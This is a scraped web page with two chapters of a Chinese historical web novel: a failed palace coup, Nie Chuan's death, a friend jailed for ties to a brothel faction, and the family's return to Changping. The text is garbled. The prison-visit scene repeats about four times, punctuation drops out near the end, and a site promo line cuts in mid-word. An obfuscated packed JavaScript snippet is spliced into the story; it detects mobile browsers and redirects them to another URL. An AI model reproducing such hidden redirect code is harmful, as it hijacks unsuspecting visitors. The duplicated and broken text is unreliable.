道聂家有叛徒,只是没想到是你。鸿飞,当日我在冰天雪地里捡了你一条命回来,若不是我,你还在同别的乞丐抢食吧,如今竟然背信弃义,你当文昭登基后就不会疑心你聂家人的身份吗?” 聂鸿飞剑眉下的星眸变得幽深,“好义父,聂鸿飞这个名字是你给我起的,可你不会忘了霍易将军吧?” 杀父之仇不敢不忘,聂鸿飞能忍到现在不变态已经算能人了。 聂川瞳孔骤然收缩,过往的碎片猛地在脑海中炸开,霍易本是他旗下的一名猛将,当年皇上登基后一直想找机会削弱聂川的势力,这个霍易便是他二人博弈的过程中牺牲的棋子。 但棋子亦是人,也有亲人好友。 太子太傅是皇后亲兄,也是太子的亲舅舅,乃禹国大儒,地位比郑肃还高。 太傅信奉的是儒家之道,主张仁爱、礼义,恨不得连个蚂蚁都不舍得踩死,老头吃了一辈子素,生平最爱的就是捡人,乐正崎的父亲是皇室子弟,太傅不忍其流落在外,所以给捡了回来,聂鸿飞则是因为他认得其夫霍易,便也将其带回。 太子就直白得多,他不养无用之人,所以哪怕两人是他的玩伴,该利用也不会手软。 “霍易……霍易!原来如此,看来你当初是被太子刻意派到我身边来的?你倒是能忍。”聂川怒极反笑,被人背叛他不怕,但聂鸿飞不光是他手下干将,还是他最得用的干儿子,聂家和五皇子的一干计划他起码掺和了一半,虽说不知道他豢养私兵的事,但五军营提督承恩伯投靠了聂家的事,他是一清二楚,难怪太子有恃无恐。 廉王也想到了此处,而且明明场中皇室有三人,他却被太子无视的彻底,便忍无可忍的对太子叫嚣道:“文昭,你以为我等筹谋一番,只有这点手段吗?通州有八万大军,只需一日便能杀进盛京城中,拿下大内更是不在话下,别说你身后的三千营,就是将全城守备加在一起也不过是螳臂当车!” 他难得压过太子一筹,这会儿心中说不出的快意,大笑了两声之后,却发现场中一片寂静,只有秦艽怜悯地看着他,像是在看傻子。 太子扭身往御书房的椅子上走去,边走边漫不经心地说:“不巧,国公准备了八万私军拿下通州,孤亦命秦啸忠带上九万将领候在顺义。不如国公猜猜,你的私兵几时会来城内支援?” “怎么可能,我们明明杀了通州监军,早早掌控驿站,切断了地方与朝廷之间的联系,你怎么可能未卜先知,调回秦啸忠对抗聂家私军?” 本是稳赢的局面怎会变得如此?廉王踉跄着退后了两步,满脸难以置信。 相比他这副不成事的样子,聂川反应便迅速的多,宫内如今都是太子的人,城外的私军又进不来,事到如今便只有一条出路—— “殿下小心!”秦艽惊呼。 刀剑相撞的铮鸣声响起,下一瞬聂川刺过来的长刀便被一柄长剑挡了回去。 聂川一刀未能砍中太子,下一刀便已经接踵而至,“难怪这一路上无论是谁出手,都没能动文昭分毫,原来他身边竟有这样功力登峰造极的高手。” 葛全飞身入殿并无作答,与聂川打的有来有回。 他们二人的动作像是唤醒了殿中其他人,众人极有默契的纷纷动起手来。 第51章 大局已定 夜半三更,宋亭舟半靠在一棵老树下闭目养神,对面聂家私军也没进城,双方都在等。 直到急促的马蹄声踏破黑夜,秦艽提着一颗满头白发的人头,也没和亲爹打个招呼,一路驾马狂奔,直奔对面敌营。 “逆贼聂川,已被斩于皇城,陛下念在尔等并未铸成大错,皆可重新发落,你们服还是不服?”秦艽将手里的人头扔到聂家私军那头,他一路提来半条胳膊都被鲜血染红了,右臂夹着明黄色的圣旨也没好好的读,说的都是他自己的翻译的话。 聂川的毕竟是老了,终被葛全所杀,他一死,旁人便不成气候了。 马鑫捧起聂川的头颅,双手颤抖不止,聂川于他有知遇之恩,但他们不可能为了给聂川报仇而叛国。 “末将……谢主隆恩!” 他带头跪下,副将松了一口气,他真怕马将军上头,见聂将军身死便不顾弟兄们的身家性命要冲动行事。 宋亭舟在后方看不见两军交汇处的场景,耳边却能听见刀枪被扔在地上沉闷的声音,这声音一直持续许久,等到后面兵部众官员苦哈哈的过来给这群私兵重新登记,这种奇异的现象才停止。 兵部的人来了,自然就不用宋亭舟了。只是秦啸忠还要留下来辖制马鑫等人,暂时不能离开。 “宋大人!” 秦艽忙活完了前头的事过来找宋亭舟,“这头有我爹和兵部的人就成,外面乱的很,保不齐还有廉王的人,大人随我一起进城吧,后续还有好多事需要处理。” 宋亭舟从地上起身,“那我告知令尊一声。” 秦艽随意牵来一匹马要拽他上去,“有什么可告知的,他又不在乎那些个虚礼。” 两人一路骑马回到城内,城门口五军营的士兵已经撤去,守城兵边看门边打水冲刷地上的血迹。现在天气还算凉爽,过几天热了,这些血粘稠不说还招苍蝇。 秦艽连马都没下,掏了个不知道什么的令牌一晃就进去了,也没人不长眼的拦截他们。 往日热闹的街道今天格外萧条,哪怕是因为天色还早,也该有勤劳的早食摊子冒烟了,可是从城南进城一直快到皇宫也没有。 街上都是二十六卫的侍卫在搜查廉王残党,有人认识秦艽,还会停下打声招呼。 “聂鸿飞,你上哪儿去?”秦艽叫住从宫里飞奔出来的聂鸿飞 ,三人正好打个照面。 聂鸿飞头也不回,同秦艽说话的功夫人已经骑马跑出去老远,只能听见他拖着长调的尾音,“回家,再不回去看看家都要被人掀翻了。” 聂鸿飞身份到底不如秦艽等人明派,表面上一直是廉王**,哪怕是孟晚等人,也是在最后时刻才堪堪猜到。太子下令清扫聂家的尾巴,聂鸿飞怕误伤了家眷。 实际上他并没有猜错,锦衣卫的人不光包围了国公府,里面鸡飞狗跳,聂家最不缺的就是武功高强的能人异士,可他们率先保护的是聂家嫡系。 罗霁宁和聂鸿飞的婚房在国公府边角处的一处院子里,他眼见大事不妙,从聂鸿飞书房里硬生生划拉出来些还值上三五十两的小物件,又带上自己藏得私房银子,就要找寻机会跑路。 “花姐、霞姐、老八、老九……小十六,你们听我说,一会儿谁也别声张,就跟在我身后,外面那群人**不眨眼,要是落了单恐怕下场凄惨。”罗霁宁将身上月白色的锦袍换成黑色,衬得他腰细腿长,这会儿沉下脸说话,俊秀的面容分外可靠。 院子里这会儿站满了环肥燕瘦十六个大美人,他眼睛都不知道先看哪个。年纪最小的小十六长得最娇俏可爱,个头才到罗霁宁肩膀,眼睛又大,皮肤又白,她天真的眨着自己圆溜溜的眼睛,“那我们不要出去,在家等鸿飞就好了呀?” 等他个屁! 罗霁宁嘴角微勾。一把将小十六搂在怀里,不着痕迹地捏了捏她腰间软肉,“鸿飞他……唉,情况可能不妙,他走的时候交代过,若是他出了什么意外,让我务必要照顾好你们,小十六……” “砰!”的一声巨响,外面的锦衣卫行动迅速,已经趁着罗霁宁墨迹耍帅的空档踹开了紧闭的院门。 罗霁宁双目瞳孔微缩,心中崩溃又绝望,他姓罗,一天好日子没过上,尽遭坑蒙拐骗的苦命罗。 “该死的孟晚,你不是说保老子不死吗!” 不计其数的锦衣卫闯进院子,罗霁宁已经开始准备等**,甚至都开始做梦**也好,没准还能穿回去的美梦。 但在前面两个锦衣卫即将把他拿下的时候,罗霁宁看到,他刚才还搂过腰的小十六、他最喜欢的小老婆,动作灵敏地飞窜回屋,不知道从哪儿抽来了一把比她人还高的大刀,一刀冲着他面门麾下…… 这一瞬间,罗霁宁甚至都闻到了死亡的味道,一双 柔弱无骨的细手搂住他的腰身,大老婆花姐把他护在身后,“夫郎,你躲到后面去,省得我们姐妹几个分心。” 罗霁宁被推搡到后面的时候呆若木鸡,面前的美人们各有各的飞法,不是从厨房提出一把斧头,就是从房顶抽出一把长剑,五花八门,他从来没有想过平平淡淡的院子竟然有那么多的兵器。 整整十六把!不知道的还以为他家是打铁铺。 还有他那么可爱的小十六呢?为什么要玩刀! 传说中皇上亲卫,地位仅次于潜龙卫的锦衣卫,各个一米八往上的练家子,和他家十六个大美妞打的有来有回,罗霁宁都快看傻眼了。 但锦衣卫到底人数人更有优势,很快花姐她们便纷纷败下阵来,聂鸿飞回家的时候,离老远就听见他夫郎痛苦的嘶喊。 “小十六!” “都住手,我有太子手谕。”聂鸿飞扎进人群里飞奔下马,就见罗霁宁顶着那张温润如玉的脸,抱着小十六的胳膊一脸心痛的看她手上屁大点划伤。 聂鸿飞头顶隐隐泛着绿光,他嘴角抽搐道:“你们在做什么?” “你竟然活着回来了?”罗霁宁颇为意外。 聂鸿飞皮笑肉不笑的说:“是不是很失望?就等着我**带着她们跑路?” “没有。”罗霁宁有片刻心虚,但他外表太有欺骗性,因此嘴硬别人也看不出来。 聂鸿飞早知道他是什么货色,见他手还不老实的摸完十六手又要摸她腰,终于忍无可忍道:“没有就快把十六放下,她那点伤一会儿都快愈合了,你夫君我叫人砍了三刀你看不见吗!” 从昨天早上到今天早上,一天一夜的皇宫混战,不光身体劳累,更多的是心弦紧绷,怕哪一步行错影响大局。 罗霁宁捏着眉,他振振有词道:“你一个大老爷们能和小十六比吗?自己去敷点药膏不就行了?” 聂川死后,本来以为再也没人能让自己这么憋屈的聂鸿飞:“……” —— 聂鸿飞能保全出身罗家的罗霁宁,其中有众多缘由,但同和廉王有关的听香榭就没有那么走运了。 宫变当日,听香榭里的浮音做了两手准备,要么廉王登基,她们一行人虽然身份低微,但也可一飞冲天,不敢奢求脱离廉王与聂家,便是不做这花楼的买卖,做个正经营生也好。 二是廉王失败被擒,那便只有遁出城去,从长计议。 浮音本以为出路都已找好,岂料宋亭舟早就安排好顺天府的人围困住了听香榭方圆二十里内所有大街小巷,浮音带人从某条密道中钻出来,迎面便是一队拿着火把的士兵。 另一头候在廉王府的一众幕僚等,同样在劫难逃。 只一天一夜的时间,整个盛京城就这样变了天。 宋亭舟凌晨前往皇宫,直到深夜才被放出来回家,他要尽快回家休息,廉王倒台牵连众多大大小小的官员,太子未登基前只放心自己信赖的人,明天自己还有诸多公务要办。 不光他如此,今天被困于皇宫的大臣都是这个点回的宅子。 太子不欲将聂川与廉王逼宫的事大肆宣扬,对外只拿出了廉王叛国的书信,与聂川私下养兵的证据,只这两样就足够将二人钉死。 虽然聂川已经**,但他手下庞大的兵权势力仍要慢慢收复。 宋亭舟回到冷冷清清的家中,桂诚桂谦等人没有不识趣的问他为什么去而复返,今日的京城诡异到极点,早上连给家里送柴、送菜肉的人家,都没一个上门的,幸好家里的主子都不在。 第二天一大早,宋亭舟又是换上朝服早早出门,这会儿天还没大亮,宋亭舟牵马出去,门口却已经停了两辆马车了。 吴昭远从车上下来,见他安然无恙先是放下了心,随后又一指另外一辆马车,欲言又止地说:“泽宁他……唉,他糊涂。” 马车里传出一声压抑着的啜泣声,“二哥,求你看在往日和他的情分上,救他一命吧。” 兰娘尚且不知道祝泽宁做了什么,只是从吴昭远口中得知他差点害得宋亭舟丢了官,祝三爷和祝四爷都不在家,她娘家哪里也打听不到刑部去。 兰娘自觉愧对于宋亭舟,但此刻却又不得**颜相求。 “泽宁被抓去了刑部?”宋亭舟牵着马绳的手紧攥。 吴昭远叹了口气,“永乐街的听香榭,牵扯出来许多廉王党派,泽宁他也在其中。” 这个宋亭舟知道,因为所有和听香榭有关联的大小官员,都是他亲自探查到的,若是当初祝泽宁没有偷用宋亭舟的印章,宋亭舟便也徇私帮他一次,可惜…… “你们都是他的兄弟,当知道他的为人。”兰娘在马车中哭诉,“泽宁他虽然没有你们稳重, 却也是讲兄弟情义的,绝不会因为一点小利就坑害二哥。” 宋亭舟沉默了许久,而后才道:“回去吧,他不会有事的。” 听香榭牵扯的很多官员因为本身官职不高,顶多为听香榭输送些消息罢了,罪不至死,但依照罪情受刑、罢官是难免的。 可祝泽宁又有所不同,他犯得的事,太子看在眼里。 鲛珠并不是取之不尽用之不竭,听香榭散出来的这一批药性一般,人挨过去也就挺过去了,便不会受人摆布。 如今听香榭被捣毁,炼丹的蚩峟身死,这群人**深的已经没救,剩下的不能扛也只能硬扛,过了几次药性也就好了。 两天后,宋亭舟带兰娘去刑部大牢见祝泽宁。 祝泽宁锦衣玉食二十多年,从来没有受过这种罪,地牢里黯淡无光,他挨了板子,扛了两次药性,趴在稻草堆里面衣衫褴褛,刻意修剪过的胡子也凌乱不已。 “景行,对不起,我真的不知道……”见宋亭舟和兰娘过来,他几乎哽咽着开口,祝泽宁受刑的时候,真的怕自己就那样**,一辈子也不能对宋亭舟说出这句话来。 自从祝泽宁被抓到刑部,兰娘眼睛这些天就没消过肿,她蹲在地上呜呜的哭。 宋亭舟神情复杂,有怜悯和恨铁不成钢的意味,“我和昭远难道不知你的为人?若是你真的一门心思想要陷害我,今天我也不可能过来见你。” 祝泽宁当日能为吴昭远舍身救援,当下就算被药物控制,也不至于丧心病狂的陷害宋亭舟,他是当真以为只是有人要抓宋亭舟的把柄,而不是一心要置宋亭舟于死地。 宋亭舟扔给祝泽宁一包伤药,“泽宁,你错就错在出了事以为自己能抗得下来,结果越陷越深,哪怕在盗用我印章的前一刻你将真相说出来,都不会变成今天这步田地。” 祝泽宁抹了把眼睛,“我没你足智多谋,也不像昭远那样博学多才,但我从来没有嫉妒过你们,你们都有大好前途,我不想让你们知道我的糟心事拖累你们。” “愚蠢!”宋亭舟难得情绪外泄,怒骂了一句。 他闭上眼睛,胸腔微微起伏,“太子即将登基,必要大赦天下,我会为你求情,你带兰娘回昌平去,安安稳稳的过完此生,再也不要牵扯盛京中的事了。” 他也气得不行,说完就拂袖而去,到外面门口去等人,留兰娘和祝泽宁说几句贴己话。 兰娘也是刚知道祝泽宁还和听香榭扯上了关系,她恨声道:“祝泽宁,爹一把年纪走南闯北,不是为了你吗?大哥和二哥平日待你如何你心里不知?他们如今各有成就,你若是安分守己,任他二人哪一个拉扯你一把,此生你都会在盛京安稳的做你的京官。你如今这样是对得起谁?” 她骂了一通才觉得解了气,又抹着眼睛问:“我最后问你一句,你吃那种药,又背着我去听香榭,有没有和那些人一样狎妓,与青楼妓子颠鸾倒凤。若是你成了那等下流东西,咱们就和离!” 祝泽宁对着夫人也是热泪盈眶,听兰娘说要和离,忙指天发誓,“是我错了,但我发誓绝对没做对不起你的事儿!” “当日我稀里糊涂的护在一身嫁衣的你面前,其实并未多想,后来我想,这么漂亮的新娘子便宜柴郡那厮,你被辜负的时候我暗骂他不知好歹,兰娘,成婚这么多年,我是不是没和你说一句,我心悦你?” 兰娘刚擦干净的眼眶又湿润了,夫妻两人隔着牢门互诉衷肠。 却也是讲兄弟情义的,绝不会因为一点小利就坑害二哥。” 宋亭舟沉默了许久,而后才道:“回去吧,他不会有事的。” 听香榭牵扯的很多官员因为本身官职不高,顶多为听香榭输送些消息罢了,罪不至死,但依照罪情受刑、罢官是难免的。 可祝泽宁又有所不同,他犯得的事,太子看在眼里。 鲛珠并不是取之不尽用之不竭,听香榭散出来的这一批药性一般,人挨过去也就挺过去了,便不会受人摆布。 如今听香榭被捣毁,炼丹的蚩峟身死,这群人**深的已经没救,剩下的不能扛也只能硬扛,过了几次药性也就好了。 两天后,宋亭舟带兰娘去刑部大牢见祝泽宁。 祝泽宁锦衣玉食二十多年,从来没有受过这种罪,地牢里黯淡无光,他挨了板子,扛了两次药性,趴在稻草堆里面衣衫褴褛,刻意修剪过的胡子也凌乱不已。 “景行,对不起,我真的不知道……”见宋亭舟和兰娘过来,他几乎哽咽着开口,祝泽宁受刑的时候,真的怕自己就那样**,一辈子也不能对宋亭舟说出这句话来。 自从祝泽宁被抓到刑部,兰娘眼睛这些天就没消过肿,她蹲在地上呜呜的哭。 宋亭舟神情复杂,有怜悯和恨铁不成钢的意味,“我和昭远难道不知你的为人?若是你真的一门心思想要陷害我,今天我也不可能过来见你。” 祝泽宁当日能为吴昭远舍身救援,当下就算被药物控制,也不至于丧心病狂的陷害宋亭舟,他是当真以为只是有人要抓宋亭舟的把柄,而不是一心要置宋亭舟于死地。 宋亭舟扔给祝泽宁一包伤药,“泽宁,你错就错在出了事以为自己能抗得下来,结果越陷越深,哪怕在盗用我印章的前一刻你将真相说出来,都不会变成今天这步田地。” 祝泽宁抹了把眼睛,“我没你足智多谋,也不像昭远那样博学多才,但我从来没有嫉妒过你们,你们都有大好前途,我不想让你们知道我的糟心事拖累你们。” “愚蠢!”宋亭舟难得情绪外泄,怒骂了一句。 他闭上眼睛,胸腔微微起伏,“太子即将登基,必要大赦天下,我会为你求情,你带兰娘回昌平去,安安稳稳的过完此生,再也不要牵扯盛京中的事了。” 他也气得不行,说完就拂袖而去,到外面门口去等人,留兰娘和祝泽宁说几句贴己话。 兰娘也是刚知道祝泽宁还和听香榭扯上了关系,她恨声道:“祝泽宁,爹一把年纪走南闯北,不是为了你吗?大哥和二哥平日待你如何你心里不知?他们如今各有成就,你若是安分守己,任他二人哪一个拉扯你一把,此生你都会在盛京安稳的做你的京官。你如今这样是对得起谁?” 她骂了一通才觉得解了气,又抹着眼睛问:“我最后问你一句,你吃那种药,又背着我去听香榭,有没有和那些人一样狎妓,与青楼妓子颠鸾倒凤。若是你成了那等下流东西,咱们就和离!” 祝泽宁对着夫人也是热泪盈眶,听兰娘说要和离,忙指天发誓,“是我错了,但我发誓绝对没做对不起你的事儿!” “当日我稀里糊涂的护在一身嫁衣的你面前,其实并未多想,后来我想,这么漂亮的新娘子便宜柴郡那厮,你被辜负的时候我暗骂他不知好歹,兰娘,成婚这么多年,我是不是没和你说一句,我心悦你?” 兰娘刚擦干净的眼眶又湿润了,夫妻两人隔着牢门互诉衷肠。 却也是讲兄弟情义的,绝不会因为一点小利就坑害二哥。” 宋亭舟沉默了许久,而后才道:“回去吧,他不会有事的。” 听香榭牵扯的很多官员因为本身官职不高,顶多为听香榭输送些消息罢了,罪不至死,但依照罪情受刑、罢官是难免的。 可祝泽宁又有所不同,他犯得的事,太子看在眼里。 鲛珠并不是取之不尽用之不竭,听香榭散出来的这一批药性一般,人挨过去也就挺过去了,便不会受人摆布。 如今听香榭被捣毁,炼丹的蚩峟身死,这群人**深的已经没救,剩下的不能扛也只能硬扛,过了几次药性也就好了。 两天后,宋亭舟带兰娘去刑部大牢见祝泽宁。 祝泽宁锦衣玉食二十多年,从来没有受过这种罪,地牢里黯淡无光,他挨了板子,扛了两次药性,趴在稻草堆里面衣衫褴褛,刻意修剪过的胡子也凌乱不已。 “景行,对不起,我真的不知道……”见宋亭舟和兰娘过来,他几乎哽咽着开口,祝泽宁受刑的时候,真的怕自己就那样**,一辈子也不能对宋亭舟说出这句话来。 自从祝泽宁被抓到刑部,兰娘眼睛这些天就没消过肿,她蹲在地上呜呜的哭。 宋亭舟神情复杂,有怜悯和恨铁不成钢的意味,“我和昭远难道不知你的为人?若是你真的一门心思想要陷害我,今天我也不可能过来见你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603477|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 祝泽宁当日能为吴昭远舍身救援,当下就算被药物控制,也不至于丧心病狂的陷害宋亭舟,他是当真以为只是有人要抓宋亭舟的把柄,而不是一心要置宋亭舟于死地。 宋亭舟扔给祝泽宁一包伤药,“泽宁,你错就错在出了事以为自己能抗得下来,结果越陷越深,哪怕在盗用我印章的前一刻你将真相说出来,都不会变成今天这步田地。” 祝泽宁抹了把眼睛,“我没你足智多谋,也不像昭远那样博学多才,但我从来没有嫉妒过你们,你们都有大好前途,我不想让你们知道我的糟心事拖累你们。” “愚蠢!”宋亭舟难得情绪外泄,怒骂了一句。 他闭上眼睛,胸腔微微起伏,“太子即将登基,必要大赦天下,我会为你求情,你带兰娘回昌平去,安安稳稳的过完此生,再也不要牵扯盛京中的事了。” 他也气得不行,说完就拂袖而去,到外面门口去等人,留兰娘和祝泽宁说几句贴己话。 兰娘也是刚知道祝泽宁还和听香榭扯上了关系,她恨声道:“祝泽宁,爹一把年纪走南闯北,不是为了你吗?大哥和二哥平日待你如何你心里不知?他们如今各有成就,你若是安分守己,任他二人哪一个拉扯你一把,此生你都会在盛京安稳的做你的京官。你如今这样是对得起谁?” 她骂了一通才觉得解了气,又抹着眼睛问:“我最后问你一句,你吃那种药,又背着我去听香榭,有没有和那些人一样狎妓,与青楼妓子颠鸾倒凤。若是你成了那等下流东西,咱们就和离!” 祝泽宁对着夫人也是热泪盈眶,听兰娘说要和离,忙指天发誓,“是我错了,但我发誓绝对没做对不起你的事儿!” “当日我稀里糊涂的护在一身嫁衣的你面前,其实并未多想,后来我想,这么漂亮的新娘子便宜柴郡那厮,你被辜负的时候我暗骂他不知好歹,兰娘,成婚这么多年,我是不是没和你说一句,我心悦你?” 兰娘刚擦干净的眼眶又湿润了,夫妻两人隔着牢门互诉衷肠。 却也是讲兄弟情义的,绝不会因为一点小利就坑害二哥。” 宋亭舟沉默了许久,而后才道:“回去吧,他不会有事的。” 听香榭牵扯的很多官员因为本身官职不高,顶多为听香榭输送些消息罢了,罪不至死,但依照罪情受刑、罢官是难免的。 可祝泽宁又有所不同,他犯得的事,太子看在眼里。 鲛珠并不是取之不尽用之不竭,听香榭散出来的这一批药性一般,人挨过去也就挺过去了,便不会受人摆布。 如今听香榭被捣毁,炼丹的蚩峟身死,这群人**深的已经没救,剩下的不能扛也只能硬扛,过了几次药性也就好了。 两天后,宋亭舟带兰娘去刑部大牢见祝泽宁。 祝泽宁锦衣玉食二十多年,从来没有受过这种罪,地牢里黯淡无光,他挨了板子,扛了两次药性,趴在稻草堆里面衣衫褴褛,刻意修剪过的胡子也凌乱不已。 “景行,对不起,我真的不知道……”见宋亭舟和兰娘过来,他几乎哽咽着开口,祝泽宁受刑的时候,真的怕自己就那样**,一辈子也不能对宋亭舟说出这句话来。 自从祝泽宁被抓到刑部,兰娘眼睛这些天就没消过肿,她蹲在地上呜呜的哭。 宋亭舟神情复杂,有怜悯和恨铁不成钢的意味,“我和昭远难道不知你的为人?若是你真的一门心思想要陷害我,今天我也不可能过来见你。” 祝泽宁当日能为吴昭远舍身救援,当下就算被药物控制,也不至于丧心病狂的陷害宋亭舟,他是当真以为只是有人要抓宋亭舟的把柄,而不是一心要置宋亭舟于死地。 宋亭舟扔给祝泽宁一包伤药,“泽宁,你错就错在出了事以为自己能抗得下来,结果越陷越深,哪怕在盗用我印章的前一刻你将真相说出来,都不会变成今天这步田地。” 祝泽宁抹了把眼睛,“我没你足智多谋,也不像昭远那样博学多才,但我从来没有嫉妒过你们,你们都有大好前途,我不想让你们知道我的糟心事拖累你们。” “愚蠢!”宋亭舟难得情绪外泄,怒骂了一句。 他闭上眼睛,胸腔微微起伏,“太子即将登基,必要大赦天下,我会为你求情,你带兰娘回昌平去,安安稳稳的过完此生,再也不要牵扯盛京中的事了。” 他也气得不行,说完就拂袖而去,到外面门口去等人,留兰娘和祝泽宁说几句贴己话。 兰娘也是刚知道祝泽宁还和听香榭扯上了关系,她恨声道:“祝泽宁,爹一把年纪走南闯北,不是为了你吗?大哥和二哥平日待你如何你心里不知?他们如今各有成就,你若是安分守己,任他二人哪一个拉扯你一把,此生你都会在盛京安稳的做你的京官。你如今这样是对得起谁?” 她骂了一通才觉得解了气,又抹着眼睛问:“我最后问你一句,你吃那种药,又背着我去听香榭,有没有和那些人一样狎妓,与青楼妓子颠鸾倒凤。若是你成了那等下流东西,咱们就和离!” 祝泽宁对着夫人也是热泪盈眶,听兰娘说要和离,忙指天发誓,“是我错了,但我发誓绝对没做对不起你的事儿!” “当日我稀里糊涂的护在一身嫁衣的你面前,其实并未多想,后来我想,这么漂亮的新娘子便宜柴郡那厮,你被辜负的时候我暗骂他不知好歹,兰娘,成婚这么多年,我是不是没和你说一句,我心悦你?” 兰娘刚擦干净的眼眶又湿润了,夫妻两人隔着牢门互诉衷肠。 却也是讲兄弟情义的,绝不会因为一点小利就坑害二哥。” 宋亭舟沉默了许久,而后才道:“回去吧,他不会有事的。” 听香榭牵扯的很多官员因为本身官职不高,顶多为听香榭输送些消息罢了,罪不至死,但依照罪情受刑、罢官是难免的。 可祝泽宁又有所不同,他犯得的事,太子看在眼里。 鲛珠并不是取之不尽用之不竭,听香榭散出来的这一批药性一般,人挨过去也就挺过去了,便不会受人摆布。 如今听香榭被捣毁,炼丹的蚩峟身死,这群人**深的已经没救,剩下的不能扛也只能硬扛,过了几次药性也就好了。 两天后,宋亭舟带兰娘去刑部大牢见祝泽宁。 祝泽宁锦衣玉食二十多年,从来没有受过这种罪,地牢里黯淡无光,他挨了板子,扛了两次药性,趴在稻草堆里面衣衫褴褛,刻意修剪过的胡子也凌乱不已。 “景行,对不起,我真的不知道……”见宋亭舟和兰娘过来,他几乎哽咽着开口,祝泽宁受刑的时候,真的怕自己就那样**,一辈子也不能对宋亭舟说出这句话来。 自从祝泽宁被抓到刑部,兰娘眼睛这些天就没消过肿,她蹲在地上呜呜的哭。 宋亭舟神情复杂,有怜悯和恨铁不成钢的意味,“我和昭远难道不知你的为人?若是你真的一门心思想要陷害我,今天我也不可能过来见你。” 祝泽宁当日能为吴昭远舍身救援,当下就算被药物控制,也不至于丧心病狂的陷害宋亭舟,他是当真以为只是有人要抓宋亭舟的把柄,而不是一心要置宋亭舟于死地。 宋亭舟扔给祝泽宁一包伤药,“泽宁,你错就错在出了事以为自己能抗得下来,结果越陷越深,哪怕在盗用我印章的前一刻你将真相说出来,都不会变成今天这步田地。” 祝泽宁抹了把眼睛,“我没你足智多谋,也不像昭远那样博学多才,但我从来没有嫉妒过你们,你们都有大好前途,我不想让你们知道我的糟心事拖累你们。” “愚蠢!”宋亭舟难得情绪外泄,怒骂了一句。 他闭上眼睛,胸腔微微起伏,“太子即将登基,必要大赦天下,我会为你求情,你带兰娘回昌平去,安安稳稳的过完此生,再也不要牵扯盛京中的事了。” 他也气得不行,说完就拂袖而去,到外面门口去等人,留兰娘和祝泽宁说几句贴己话。 兰娘也是刚知道祝泽宁还和听香榭扯上了关系,她恨声道:“祝泽宁,爹一把年纪走南闯北,不是为了你吗?大哥和二哥平日待你如何你心里不知?他们如今各有成就,你若是安分守己,任他二人哪一个拉扯你一把,此生你都会在盛京安稳的做你的京官。你如今这样是对得起谁?” 她骂了一通才觉得解了气,又抹着眼睛问:“我最后问你一句,你吃那种药,又背着我去听香榭,有没有和那些人一样狎妓,与青楼妓子颠鸾倒凤。若是你成了那等下流东西,咱们就和离!” 祝泽宁对着夫人也是热泪盈眶,听兰娘说要和离,忙指天发誓,“是我错了,但我发誓绝对没做对不起你的事儿!” “当日我稀里糊涂的护在一身嫁衣的你面前,其实并未多想,后来我想,这么漂亮的新娘子便宜柴郡那厮,你被辜负的时候我暗骂他不知好歹,兰娘,成婚这么多年,我是不是没和你说一句,我心悦你?” 兰娘刚擦干净的眼眶又湿润了,夫妻两人隔着牢门互诉衷肠。 第52章 义学 52重返盛京城52 六月暑气初临,清早轻风送爽,虽说要进夏了,可昌平的气候依旧凉爽,穿着单衣正正好好,既不会闷汗,也不会觉得有凉意。 “唉。孟晚坐在院里的石凳上重重的叹了口气。 常金花拎了一篮子新鲜蕨菜过来,“砰地一声放到石桌上,“怎么了这是,大郎不是写信过来说一切都好吗? 孟晚不用她说,就自觉上手帮她摘菜,“是想到了别的事。 想杀一个人,后来才知道不好杀,只好顺势不杀,但不杀又总是担心他有一天会乱说话。 “阿爹你怎么不开心啦?阿砚抱着他形影不离的娟人蹦蹦跳跳着过来,通儿像他的小跟班。 常金花动作麻利的摘着菜,闻言哼笑了一下,“你阿爹哪儿能不开心啊,我看他就是想着怎么让别人不开心呢。 孟晚扔下手里的蕨菜给常金花鼓掌,“不愧是我娘,就是了解我。对了,这蕨菜哪儿来的?刚采的吧,上头还有水珠呢。 “小蛾一大早送过来的。常金花边摘菜边夸,“黄挣这夫郎找的好,长得也好,人又善良勤恳。 孟晚复又开始摘菜,“哎呦呦,那你把人家要到咱们家去吧。 常金花白了他一眼,“快点把菜都摘了,一半包包子,一半腌咸菜路上吃,都在昌平待三天了,明天可得走了。 就算昌平这边远没有岭南热,但常金花也不想入伏的时候赶路,再说,越是靠近故乡越是急迫的想要回去,她这会儿恨不得插翅飞回村子,真是片刻也等不得。 知道盛京事了,宋亭舟安然无恙之后,孟晚便放松许多,他把阿砚和通儿叫过来顶替他摘菜,“你俩好好跟着祖母干活,我出去一趟。 阿砚被郑肃调教了一段时间,如今面上看着倒是比从前稳重一点了,也没嚷着让孟晚带他出去一起玩,老老实实的坐下摘菜。 孟晚带着头次来到北地的蚩羽出门,昌平的宅子真是久别了,旁边的邻居也换了新的,不是别人,正是在昌平成家落户的黄挣一家。 他和小蛾成亲后就买下了隔壁的宅子,有时候泉水镇的黄掌柜夫妻俩也会过来小住。家里的书斋交给大儿子,黄挣也不会有意见。曾经耿直到不懂变通的儿子被孟晚调教成这么有出息,黄掌柜死而无憾。 宋家的宅 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 子漏雨长草的都是黄挣找人收拾让孟晚一行人到昌平之后能立马回家入住歇脚。 “大嫂我正打算去找你呢。”现在时辰还早黄挣应该也是刚吃完饭出来。 “走吧一起去斋里看看。”孟晚招呼他一起溜达斋里离这里不远走着去正好。 其实到现在清宵阁现在规模已经比从前扩大了数倍几乎整条街道都是清宵阁的地盘清宵阁的话本子如今远销禹国各地孟晚在盛京的时候都听说过。 而且阁里招揽写手写话本子只是其中一半的进项另一半则是黄挣后办的招徕启事这个孟晚当初只是给了他一个思路剩下全权是他自己一点一点摸索出来的现在也是办的有声有色业务在整个北地都铺展开来奉天府与建平府都有清宵阁的分店。 以前的清宵阁仍是写手们上值的地方环境清幽蚩羽推门进去这瞧瞧那儿看看。 这就是夫郎以前开的铺子? 孟晚和黄挣要到二楼议事蚩羽好奇地推开离议客厅最近的一扇门。 